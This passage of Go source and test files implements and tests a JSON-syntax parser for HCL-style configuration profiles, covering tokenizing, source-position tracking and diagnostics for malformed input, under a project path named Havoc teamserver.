}}, 1, }, { `+2`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 3, Byte: 2}, }}, 1, }, { `1 2`, &numberVal{ Value: mustBigFloat("1"), SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, }, 1, }, // Objects { `{"hello": true}`, &objectVal{ Attrs: []*objectAttr{ { Name: "hello", Value: &booleanVal{ Value: true, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 11, Byte: 10}, End: hcl.Pos{Line: 1, Column: 15, Byte: 14}, }, }, NameRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 2, Byte: 1}, End: hcl.Pos{Line: 1, Column: 9, Byte: 8}, }, }, }, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 16, Byte: 15}, }, OpenRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, CloseRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 15, Byte: 14}, End: hcl.Pos{Line: 1, Column: 16, Byte: 15}, }, }, 0, }, { `{"hello": true, "bye": false}`, &objectVal{ Attrs: []*objectAttr{ { Name: "hello", Value: &booleanVal{ Value: true, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 11, Byte: 10}, End: hcl.Pos{Line: 1, Column: 15, Byte: 14}, }, }, NameRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 2, Byte: 1}, End: hcl.Pos{Line: 1, Column: 9, Byte: 8}, }, }, { Name: "bye", Value: &booleanVal{ Value: false, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 24, Byte: 23}, End: hcl.Pos{Line: 1, Column: 29, Byte: 28}, }, }, NameRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 17, Byte: 16}, End: hcl.Pos{Line: 1, Column: 22, Byte: 21}, }, }, }, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 30, Byte: 29}, }, OpenRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, CloseRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 29, Byte: 28}, End: hcl.Pos{Line: 1, Column: 30, Byte: 29}, }, }, 0, }, { `{}`, &objectVal{ Attrs: []*objectAttr{}, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 3, Byte: 2}, }, OpenRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, CloseRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 2, Byte: 1}, End: hcl.Pos{Line: 1, Column: 3, Byte: 2}, }, }, 0, }, { `{"hello":true`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, }, { `{"hello":true]`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, }, { `{"hello":true,}`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, }, { `{true:false}`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, }, { `{"hello": true, "hello": true}`, &objectVal{ Attrs: []*objectAttr{ { Name: "hello", Value: &booleanVal{ Value: true, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 11, Byte: 10}, End: hcl.Pos{Line: 1, Column: 15, Byte: 14}, }, }, NameRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 2, Byte: 1}, End: hcl.Pos{Line: 1, Column: 9, Byte: 8}, }, }, { Name: "hello", Value: &booleanVal{ Value: true, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 26, Byte: 25}, End: hcl.Pos{Line: 1, Column: 30, Byte: 29}, }, }, NameRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 17, Byte: 16}, End: hcl.Pos{Line: 1, Column: 24, Byte: 23}, }, }, }, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 31, Byte: 30}, }, OpenRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, CloseRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 30, Byte: 29}, End: hcl.Pos{Line: 1, Column: 31, Byte: 30}, }, }, 0, }, { `{"hello": true, "hello": true, "hello", true}`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, // comma used where colon is expected }, { `{"hello", "world"}`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, }, { `[]`, &arrayVal{ Values: []node{}, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 3, Byte: 2}, }, OpenRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, }, 0, }, { `[true]`, &arrayVal{ Values: []node{ &booleanVal{ Value: true, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 2, Byte: 1}, End: hcl.Pos{Line: 1, Column: 6, Byte: 5}, }, }, }, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 7, Byte: 6}, }, OpenRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, }, 0, }, { `[true, false]`, &arrayVal{ Values: []node{ &booleanVal{ Value: true, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 2, Byte: 1}, End: hcl.Pos{Line: 1, Column: 6, Byte: 5}, }, }, &booleanVal{ Value: false, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 8, Byte: 7}, End: hcl.Pos{Line: 1, Column: 13, Byte: 12}, }, }, }, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 14, Byte: 13}, }, OpenRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, }, 0, }, { `[[]]`, &arrayVal{ Values: []node{ &arrayVal{ Values: []node{}, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 2, Byte: 1}, End: hcl.Pos{Line: 1, Column: 4, Byte: 3}, }, OpenRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 2, Byte: 1}, End: hcl.Pos{Line: 1, Column: 3, Byte: 2}, }, }, }, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 5, Byte: 4}, }, OpenRange: hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }, }, 0, }, { `[`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 2, }, { `[true`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, }, { `]`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, }, { `[true,]`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, }, { `[[],]`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, }, { `["hello":true]`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, }, { `[true}`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, }, { `{"wrong"=true}`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, }, { `{"wrong" = true}`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, }, { `{"wrong" true}`, invalidVal{hcl.Range{ Start: hcl.Pos{Line: 1, Column: 1, Byte: 0}, End: hcl.Pos{Line: 1, Column: 2, Byte: 1}, }}, 1, }, } for _, test := range tests { t.Run(test.Input, func(t *testing.T) { got, diag := parseFileContent([]byte(test.Input), "", hcl.Pos{Byte: 0, Line: 1, Column: 1}) if len(diag) != test.DiagCount { t.Errorf("got %d diagnostics; want %d", len(diag), test.DiagCount) for _, d := range diag { t.Logf(" - %s", d.Error()) } } if diff := deep.Equal(got, test.Want); diff != nil { for _, problem := range diff { t.Error(problem) } } }) } } func TestParseWithPos(t *testing.T) { tests := []struct { Input string StartPos hcl.Pos Want node DiagCount int }{ // Simple, single-token constructs { `true`, hcl.Pos{Byte: 0, Line: 3, Column: 10}, &booleanVal{ Value: true, SrcRange: hcl.Range{ Start: hcl.Pos{Line: 3, Column: 10, Byte: 0}, End: hcl.Pos{Line: 3, Column: 14, Byte: 4}, }, }, 0, }, } for _, test := range tests { t.Run(test.Input, func(t *testing.T) { got, diag := parseFileContent([]byte(test.Input), "", test.StartPos) if len(diag) != test.DiagCount { t.Errorf("got %d diagnostics; want %d", len(diag), test.DiagCount) for _, d := range diag { t.Logf(" - %s", d.Error()) } } if diff := deep.Equal(got, test.Want); diff != nil { for _, problem := range diff { t.Error(problem) } } }) } } func mustBigFloat(s string) *big.Float { f, _, err := (&big.Float{}).Parse(s, 10) if err != nil { panic(err) } return f } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/peeker.go000066400000000000000000000005121467014221700255660ustar00rootroot00000000000000package json type peeker struct { tokens []token pos int } func newPeeker(tokens []token) *peeker { return &peeker{ tokens: tokens, pos: 0, } } func (p *peeker) Peek() token { return p.tokens[p.pos] } func (p *peeker) Read() token { ret := p.tokens[p.pos] if ret.Type != tokenEOF { p.pos++ } return ret } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/public.go000066400000000000000000000100631467014221700255730ustar00rootroot00000000000000package json import ( "fmt" "io/ioutil" "os" "Havoc/pkg/profile/yaotl" ) // Parse attempts to parse the given buffer as JSON and, if successful, returns // a hcl.File for the HCL configuration represented by it. // // This is not a generic JSON parser. Instead, it deals only with the profile // of JSON used to express HCL configuration. // // The returned file is valid only if the returned diagnostics returns false // from its HasErrors method. If HasErrors returns true, the file represents // the subset of data that was able to be parsed, which may be none. func Parse(src []byte, filename string) (*hcl.File, hcl.Diagnostics) { return ParseWithStartPos(src, filename, hcl.Pos{Byte: 0, Line: 1, Column: 1}) } // ParseWithStartPos attempts to parse like json.Parse, but unlike json.Parse // you can pass a start position of the given JSON as a hcl.Pos. // // In most cases json.Parse should be sufficient, but it can be useful for parsing // a part of JSON with correct positions. func ParseWithStartPos(src []byte, filename string, start hcl.Pos) (*hcl.File, hcl.Diagnostics) { rootNode, diags := parseFileContent(src, filename, start) switch rootNode.(type) { case *objectVal, *arrayVal: // okay default: diags = diags.Append(&hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Root value must be object", Detail: "The root value in a JSON-based configuration must be either a JSON object or a JSON array of objects.", Subject: rootNode.StartRange().Ptr(), }) // Since we've already produced an error message for this being // invalid, we'll return an empty placeholder here so that trying to // extract content from our root body won't produce a redundant // error saying the same thing again in more general terms. fakePos := hcl.Pos{ Byte: 0, Line: 1, Column: 1, } fakeRange := hcl.Range{ Filename: filename, Start: fakePos, End: fakePos, } rootNode = &objectVal{ Attrs: []*objectAttr{}, SrcRange: fakeRange, OpenRange: fakeRange, } } file := &hcl.File{ Body: &body{ val: rootNode, }, Bytes: src, Nav: navigation{rootNode}, } return file, diags } // ParseExpression parses the given buffer as a standalone JSON expression, // returning it as an instance of Expression. func ParseExpression(src []byte, filename string) (hcl.Expression, hcl.Diagnostics) { return ParseExpressionWithStartPos(src, filename, hcl.Pos{Byte: 0, Line: 1, Column: 1}) } // ParseExpressionWithStartPos parses like json.ParseExpression, but unlike // json.ParseExpression you can pass a start position of the given JSON // expression as a hcl.Pos. func ParseExpressionWithStartPos(src []byte, filename string, start hcl.Pos) (hcl.Expression, hcl.Diagnostics) { node, diags := parseExpression(src, filename, start) return &expression{src: node}, diags } // ParseFile is a convenience wrapper around Parse that first attempts to load // data from the given filename, passing the result to Parse if successful. // // If the file cannot be read, an error diagnostic with nil context is returned. func ParseFile(filename string) (*hcl.File, hcl.Diagnostics) { f, err := os.Open(filename) if err != nil { return nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Failed to open file", Detail: fmt.Sprintf("The file %q could not be opened.", filename), }, } } defer f.Close() src, err := ioutil.ReadAll(f) if err != nil { return nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Failed to read file", Detail: fmt.Sprintf("The file %q was opened, but an error occurred while reading it.", filename), }, } } return Parse(src, filename) } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/public_test.go000066400000000000000000000217601467014221700266400ustar00rootroot00000000000000package json import ( "fmt" "strings" "testing" "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) func TestParse_nonObject(t *testing.T) { src := `true` file, diags := Parse([]byte(src), "") if len(diags) != 1 { t.Errorf("got %d diagnostics; want 1", len(diags)) } if file == nil { t.Errorf("got nil File; want actual file") } if file.Body == nil { t.Fatalf("got nil Body; want actual body") } if file.Body.(*body).val == nil { t.Errorf("got nil Body object; want placeholder object") } } func TestParseTemplate(t *testing.T) { src := `{"greeting": "hello ${\"world\"}"}` file, diags := Parse([]byte(src), "") if len(diags) != 0 { t.Errorf("got %d diagnostics on parse; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } if file == nil { t.Errorf("got nil File; want actual file") } if file.Body == nil { t.Fatalf("got nil Body; want actual body") } attrs, diags := file.Body.JustAttributes() if len(diags) != 0 { t.Errorf("got %d diagnostics on decode; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } val, diags := attrs["greeting"].Expr.Value(&hcl.EvalContext{}) if len(diags) != 0 { t.Errorf("got %d diagnostics on eval; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } if !val.RawEquals(cty.StringVal("hello world")) { t.Errorf("wrong result %#v; want %#v", val, cty.StringVal("hello world")) } } func TestParseTemplateUnwrap(t *testing.T) { src := `{"greeting": "${true}"}` file, diags := Parse([]byte(src), "") if len(diags) != 0 { t.Errorf("got %d diagnostics on parse; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } if file == nil { t.Errorf("got nil File; want actual file") } if file.Body == nil { t.Fatalf("got nil Body; want actual body") } attrs, diags := file.Body.JustAttributes() if len(diags) != 0 { t.Errorf("got %d diagnostics on decode; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } val, diags := attrs["greeting"].Expr.Value(&hcl.EvalContext{}) if len(diags) != 0 { t.Errorf("got %d diagnostics on eval; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } if !val.RawEquals(cty.True) { t.Errorf("wrong result %#v; want %#v", val, cty.True) } } func TestParse_malformed(t *testing.T) { src := `{ "http_proxy_url: "http://xxxxxx", }` file, diags := Parse([]byte(src), "") if got, want := len(diags), 2; got != want { t.Errorf("got %d diagnostics; want %d", got, want) } if err, want := diags.Error(), `Missing property value colon`; !strings.Contains(err, want) { t.Errorf("diags are %q, but should contain %q", err, want) } if file == nil { t.Errorf("got nil File; want actual file") } } func TestParseWithStartPos(t *testing.T) { src := `{ "foo": { "bar": "baz" } }` part := `{ "bar": "baz" }` file, diags := Parse([]byte(src), "") partFile, partDiags := ParseWithStartPos([]byte(part), "", hcl.Pos{Byte: 0, Line: 2, Column: 10}) if len(diags) != 0 { t.Errorf("got %d diagnostics on parse src; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } if len(partDiags) != 0 { t.Errorf("got %d diagnostics on parse part src; want 0", len(partDiags)) for _, diag := range partDiags { t.Logf("- %s", diag.Error()) } } if file == nil { t.Errorf("got nil File; want actual file") } if file.Body == nil { t.Fatalf("got nil Body; want actual body") } if partFile == nil { t.Errorf("got nil part File; want actual file") } if partFile.Body == nil { t.Fatalf("got nil part Body; want actual body") } content, diags := file.Body.Content(&hcl.BodySchema{ Blocks: []hcl.BlockHeaderSchema{{Type: "foo"}}, }) if len(diags) != 0 { t.Errorf("got %d diagnostics on decode; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } attrs, diags := content.Blocks[0].Body.JustAttributes() if len(diags) != 0 { t.Errorf("got %d diagnostics on decode; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } srcRange := attrs["bar"].Expr.Range() partAttrs, diags := partFile.Body.JustAttributes() if len(diags) != 0 { t.Errorf("got %d diagnostics on decode; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } partRange := partAttrs["bar"].Expr.Range() if srcRange.String() != partRange.String() { t.Errorf("The two ranges did not match: src=%s, part=%s", srcRange, partRange) } } func TestParseExpression(t *testing.T) { tests := []struct { Input string Want string }{ { `"hello"`, `cty.StringVal("hello")`, }, { `"hello ${noun}"`, `cty.StringVal("hello world")`, }, { "true", "cty.True", }, { "false", "cty.False", }, { "1", "cty.NumberIntVal(1)", }, { "{}", "cty.EmptyObjectVal", }, { `{"foo":"bar","baz":1}`, `cty.ObjectVal(map[string]cty.Value{"baz":cty.NumberIntVal(1), "foo":cty.StringVal("bar")})`, }, { "[]", "cty.EmptyTupleVal", }, { `["1",2,3]`, `cty.TupleVal([]cty.Value{cty.StringVal("1"), cty.NumberIntVal(2), cty.NumberIntVal(3)})`, }, } for _, test := range tests { t.Run(test.Input, func(t *testing.T) { expr, diags := ParseExpression([]byte(test.Input), "") if diags.HasErrors() { t.Errorf("got %d diagnostics; want 0", len(diags)) for _, d := range diags { t.Logf(" - %s", d.Error()) } } value, diags := expr.Value(&hcl.EvalContext{ Variables: map[string]cty.Value{ "noun": cty.StringVal("world"), }, }) if diags.HasErrors() { t.Errorf("got %d diagnostics on decode value; want 0", len(diags)) for _, d := range diags { t.Logf(" - %s", d.Error()) } } got := fmt.Sprintf("%#v", value) if got != test.Want { t.Errorf("got %s, but want %s", got, test.Want) } }) } } func TestParseExpression_malformed(t *testing.T) { src := `invalid` expr, diags := ParseExpression([]byte(src), "") if got, want := len(diags), 1; got != want { t.Errorf("got %d diagnostics; want %d", got, want) } if err, want := diags.Error(), `Invalid JSON keyword`; !strings.Contains(err, want) { t.Errorf("diags are %q, but should contain %q", err, want) } if expr == nil { t.Errorf("got nil Expression; want actual expression") } } func TestParseExpressionWithStartPos(t *testing.T) { src := `{ "foo": "bar" }` part := `"bar"` file, diags := Parse([]byte(src), "") partExpr, partDiags := ParseExpressionWithStartPos([]byte(part), "", hcl.Pos{Byte: 0, Line: 2, Column: 10}) if len(diags) != 0 { t.Errorf("got %d diagnostics on parse src; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } if len(partDiags) != 0 { t.Errorf("got %d diagnostics on parse part src; want 0", len(partDiags)) for _, diag := range partDiags { t.Logf("- %s", diag.Error()) } } if file == nil { t.Errorf("got nil File; want actual file") } if file.Body == nil { t.Errorf("got nil Body: want actual body") } if partExpr == nil { t.Errorf("got nil Expression; want actual expression") } content, diags := file.Body.Content(&hcl.BodySchema{ Attributes: []hcl.AttributeSchema{{Name: "foo"}}, }) if len(diags) != 0 { t.Errorf("got %d diagnostics on decode; want 0", len(diags)) for _, diag := range diags { t.Logf("- %s", diag.Error()) } } expr := content.Attributes["foo"].Expr if expr.Range().String() != partExpr.Range().String() { t.Errorf("The two ranges did not match: src=%s, part=%s", expr.Range(), partExpr.Range()) } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/scanner.go000066400000000000000000000216201467014221700257470ustar00rootroot00000000000000package json import ( "fmt" "github.com/apparentlymart/go-textseg/v13/textseg" "Havoc/pkg/profile/yaotl" ) //go:generate stringer -type tokenType scanner.go type tokenType rune const ( tokenBraceO tokenType = '{' tokenBraceC tokenType = '}' tokenBrackO tokenType = '[' tokenBrackC tokenType = ']' tokenComma tokenType = ',' tokenColon tokenType = ':' tokenKeyword tokenType = 'K' tokenString tokenType = 'S' tokenNumber tokenType = 'N' tokenEOF tokenType = '␄' tokenInvalid tokenType = 0 tokenEquals tokenType = '=' // used only for reminding the user of JSON syntax ) type token struct { Type tokenType Bytes []byte Range hcl.Range } // scan returns the primary tokens for the given JSON buffer in sequence. // // The responsibility of this pass is to just mark the slices of the buffer // as being of various types. It is lax in how it interprets the multi-byte // token types keyword, string and number, preferring to capture erroneous // extra bytes that we presume the user intended to be part of the token // so that we can generate more helpful diagnostics in the parser. func scan(buf []byte, start pos) []token { var tokens []token p := start for { if len(buf) == 0 { tokens = append(tokens, token{ Type: tokenEOF, Bytes: nil, Range: posRange(p, p), }) return tokens } buf, p = skipWhitespace(buf, p) if len(buf) == 0 { tokens = append(tokens, token{ Type: tokenEOF, Bytes: nil, Range: posRange(p, p), }) return tokens } start = p first := buf[0] switch { case first == '{' || first == '}' || first == '[' || first == ']' || first == ',' || first == ':' || first == '=': p.Pos.Column++ p.Pos.Byte++ tokens = append(tokens, token{ Type: tokenType(first), Bytes: buf[0:1], Range: posRange(start, p), }) buf = buf[1:] case first == '"': var tokBuf []byte tokBuf, buf, p = scanString(buf, p) tokens = append(tokens, token{ Type: tokenString, Bytes: tokBuf, Range: posRange(start, p), }) case byteCanStartNumber(first): var tokBuf []byte tokBuf, buf, p = scanNumber(buf, p) tokens = append(tokens, token{ Type: tokenNumber, Bytes: tokBuf, Range: posRange(start, p), }) case byteCanStartKeyword(first): var tokBuf []byte tokBuf, buf, p = scanKeyword(buf, p) tokens = append(tokens, token{ Type: tokenKeyword, Bytes: tokBuf, Range: posRange(start, p), }) default: tokens = append(tokens, token{ Type: tokenInvalid, Bytes: buf[:1], Range: start.Range(1, 1), }) // If we've encountered an invalid then we might as well stop // scanning since the parser won't proceed beyond this point. // We insert a synthetic EOF marker here to match the expectations // of consumers of this data structure. p.Pos.Column++ p.Pos.Byte++ tokens = append(tokens, token{ Type: tokenEOF, Bytes: nil, Range: posRange(p, p), }) return tokens } } } func byteCanStartNumber(b byte) bool { switch b { // We are slightly more tolerant than JSON requires here since we // expect the parser will make a stricter interpretation of the // number bytes, but we specifically don't allow 'e' or 'E' here // since we want the scanner to treat that as the start of an // invalid keyword instead, to produce more intelligible error messages. case '-', '+', '.', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9': return true default: return false } } func scanNumber(buf []byte, start pos) ([]byte, []byte, pos) { // The scanner doesn't check that the sequence of digit-ish bytes is // in a valid order. The parser must do this when decoding a number // token. var i int p := start Byte: for i = 0; i < len(buf); i++ { switch buf[i] { case '-', '+', '.', 'e', 'E', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9': p.Pos.Byte++ p.Pos.Column++ default: break Byte } } return buf[:i], buf[i:], p } func byteCanStartKeyword(b byte) bool { switch { // We allow any sequence of alphabetical characters here, even though // JSON is more constrained, so that we can collect what we presume // the user intended to be a single keyword and then check its validity // in the parser, where we can generate better diagnostics. // So e.g. we want to be able to say: // unrecognized keyword "True". Did you mean "true"? case isAlphabetical(b): return true default: return false } } func scanKeyword(buf []byte, start pos) ([]byte, []byte, pos) { var i int p := start Byte: for i = 0; i < len(buf); i++ { b := buf[i] switch { case isAlphabetical(b) || b == '_': p.Pos.Byte++ p.Pos.Column++ default: break Byte } } return buf[:i], buf[i:], p } func scanString(buf []byte, start pos) ([]byte, []byte, pos) { // The scanner doesn't validate correct use of escapes, etc. It pays // attention to escapes only for the purpose of identifying the closing // quote character. It's the parser's responsibility to do proper // validation. // // The scanner also doesn't specifically detect unterminated string // literals, though they can be identified in the parser by checking if // the final byte in a string token is the double-quote character. // Skip the opening quote symbol i := 1 p := start p.Pos.Byte++ p.Pos.Column++ escaping := false Byte: for i < len(buf) { b := buf[i] switch { case b == '\\': escaping = !escaping p.Pos.Byte++ p.Pos.Column++ i++ case b == '"': p.Pos.Byte++ p.Pos.Column++ i++ if !escaping { break Byte } escaping = false case b < 32: break Byte default: // Advance by one grapheme cluster, so that we consider each // grapheme to be a "column". // Ignoring error because this scanner cannot produce errors. advance, _, _ := textseg.ScanGraphemeClusters(buf[i:], true) p.Pos.Byte += advance p.Pos.Column++ i += advance escaping = false } } return buf[:i], buf[i:], p } func skipWhitespace(buf []byte, start pos) ([]byte, pos) { var i int p := start Byte: for i = 0; i < len(buf); i++ { switch buf[i] { case ' ': p.Pos.Byte++ p.Pos.Column++ case '\n': p.Pos.Byte++ p.Pos.Column = 1 p.Pos.Line++ case '\r': // For the purpose of line/column counting we consider a // carriage return to take up no space, assuming that it will // be paired up with a newline (on Windows, for example) that // will account for both of them. p.Pos.Byte++ case '\t': // We arbitrarily count a tab as if it were two spaces, because // we need to choose _some_ number here. This means any system // that renders code on-screen with markers must itself treat // tabs as a pair of spaces for rendering purposes, or instead // use the byte offset and back into its own column position. p.Pos.Byte++ p.Pos.Column += 2 default: break Byte } } return buf[i:], p } type pos struct { Filename string Pos hcl.Pos } func (p *pos) Range(byteLen, charLen int) hcl.Range { start := p.Pos end := p.Pos end.Byte += byteLen end.Column += charLen return hcl.Range{ Filename: p.Filename, Start: start, End: end, } } func posRange(start, end pos) hcl.Range { return hcl.Range{ Filename: start.Filename, Start: start.Pos, End: end.Pos, } } func (t token) GoString() string { return fmt.Sprintf("json.token{json.%s, []byte(%q), %#v}", t.Type, t.Bytes, t.Range) } func isAlphabetical(b byte) bool { return (b >= 'a' && b <= 'z') || (b >= 'A' && b <= 'Z') } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/json/scanner_test.go000066400000000000000000000660151467014221700270150ustar00rootroot00000000000000package json import ( "bytes" "fmt" "reflect" "testing" "Havoc/pkg/profile/yaotl" ) func TestScan(t *testing.T) { tests := []struct { Input string Want []token }{ { ``, []token{ { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, }, }, }, }, { ` `, []token{ { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 3, Line: 1, Column: 4, }, End: hcl.Pos{ Byte: 3, Line: 1, Column: 4, }, }, }, }, }, { `{}`, []token{ { Type: tokenBraceO, Bytes: []byte(`{`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, }, }, { Type: tokenBraceC, Bytes: []byte(`}`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, End: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, }, }, }, }, { `][`, []token{ { Type: tokenBrackC, Bytes: []byte(`]`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, }, }, { Type: tokenBrackO, Bytes: []byte(`[`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, End: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, }, }, }, }, { `:,`, []token{ { Type: tokenColon, Bytes: []byte(`:`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 0, Line: 1, Column: 1, }, End: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, }, }, { Type: tokenComma, Bytes: []byte(`,`), Range: hcl.Range{ Start: hcl.Pos{ Byte: 1, Line: 1, Column: 2, }, End: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, }, }, { Type: tokenEOF, Range: hcl.Range{ Start: hcl.Pos{ Byte: 2, Line: 1, Column: 3, }, End: hcl.Pos{ 